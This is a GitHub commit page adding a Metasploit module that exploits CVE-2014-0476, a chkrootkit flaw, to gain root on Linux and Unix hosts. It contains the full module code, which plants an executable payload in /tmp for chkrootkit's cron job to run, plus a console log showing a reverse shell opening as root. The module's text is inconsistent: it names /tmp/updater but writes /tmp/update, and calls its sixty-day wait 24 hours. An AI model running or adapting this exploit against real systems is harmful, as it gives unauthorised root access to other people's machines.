Skip to content

Commit 3566b97

Browse files
committed
Add a module for a chkrootkit-powered privsec
This modules implements an exploit for CVE-2014-0476, to gain root thanks to chkrootkit. Its main issues is that you need to wait until chkrootkit is executed in a crontab (or manually), which can take 24h top with its default setup. How to reproduce: 1. Install a version < 0.50 of chkrootkit 2. Launch the local module 3. Wait until chkrootkit's crontab kicks in 4. You've got a root shell ``` msf > use exploit/linux/local/chkrootkit msf exploit(chkrootkit) > check [*] 192.168.1.25 - The target appears to be vulnerable. msf exploit(chkrootkit) > run [*] Exploit completed, but no session was created. [*] Started reverse handler on 192.168.1.11:9999 msf exploit(chkrootkit) > [+] Target is vulnerable. [!] Rooting depends of the crontab, this could take a while. [*] Payload written to /tmp/update [*] Waiting to chkrookit to be run be a cron tab... [*] Command shell session 6 opened (192.168.1.11:9999 -> 192.168.1.25:40006) at 2015-11-06 20:53:00 +0100 [+] Deleted /tmp/update msf exploit(chkrootkit) > sessions -i 6 [*] Starting interaction with 6... id uid=0(root) gid=0(root) groups=0(root) ```
1 parent 46fac89 commit 3566b97

File tree

1 file changed

+78
-0
lines changed

1 file changed

+78
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit4 < Msf::Exploit::Local
7+
# This could also be excellent, but since it requires
8+
# up to one day to pop a shell, lets set it to Manual instead.
9+
Rank = ManualRanking
10+
11+
include Msf::Post::File
12+
include Msf::Exploit::FileDropper
13+
14+
include Msf::Exploit::Local::Linux
15+
16+
def initialize(info={})
17+
super( update_info( info, {
18+
'Name' => 'Chkrootkit 0.49 Local Privilege Escalation',
19+
'Description' => %q{
20+
Chkrootkit before 0.50 will run as root any executable file named
21+
/tmp/updater, allowing a trivial privsec.
22+
23+
WfsDelay is set to 24h by default, since this is how often a chkrootkit
24+
scan is scheduled by default.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'Thomas Stangner', # original exploit
29+
'Julien (jvoisin) Voisin' # metasploit module
30+
],
31+
'Platform' => %w{ bsd linux unix solaris osx},
32+
'SessionTypes' => [ 'shell', 'meterpreter' ],
33+
'References' =>
34+
[
35+
[ 'BID', '67813' ],
36+
[ 'CVE', '2014-0476' ],
37+
[ 'CWE', '20' ],
38+
[ 'EDB', '33899' ],
39+
[ 'OSVDB', '107710' ],
40+
[ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ],
41+
],
42+
'DisclosureDate' => "Jun 28 2014",
43+
'Arch' => ARCH_CMD,
44+
'DefaultOptions' => { 'WfsDelay' => 60*3600*24 },
45+
'Privileged' => true,
46+
'Targets' =>
47+
[
48+
[ 'Generic', {} ],
49+
],
50+
'Stance' => Msf::Exploit::Stance::Passive,
51+
'DefaultTarget' => 0,}))
52+
end
53+
54+
def check
55+
res = cmd_exec('/usr/sbin/chkrootkit -V')
56+
return Exploit::CheckCode::Appears if res && res =~ /chkrootkit version 0\.[^5]/
57+
return Exploit::CheckCode::Safe
58+
end
59+
60+
def exploit
61+
if check == Exploit::CheckCode::Safe
62+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
63+
else
64+
print_good("Target is vulnerable.")
65+
end
66+
67+
print_warning('Rooting depends of the crontab, this could take a while.')
68+
69+
write_file("/tmp/update", "#!/bin/sh\n#{payload.encoded}\n")
70+
cmd_exec("chmod +x /tmp/update")
71+
72+
print_status 'Payload written to /tmp/update'
73+
print_status 'Waiting to chkrookit to be run be a cron tab...'
74+
75+
register_file_for_cleanup('/tmp/update')
76+
end
77+
end
78+

0 commit comments

Comments
 (0)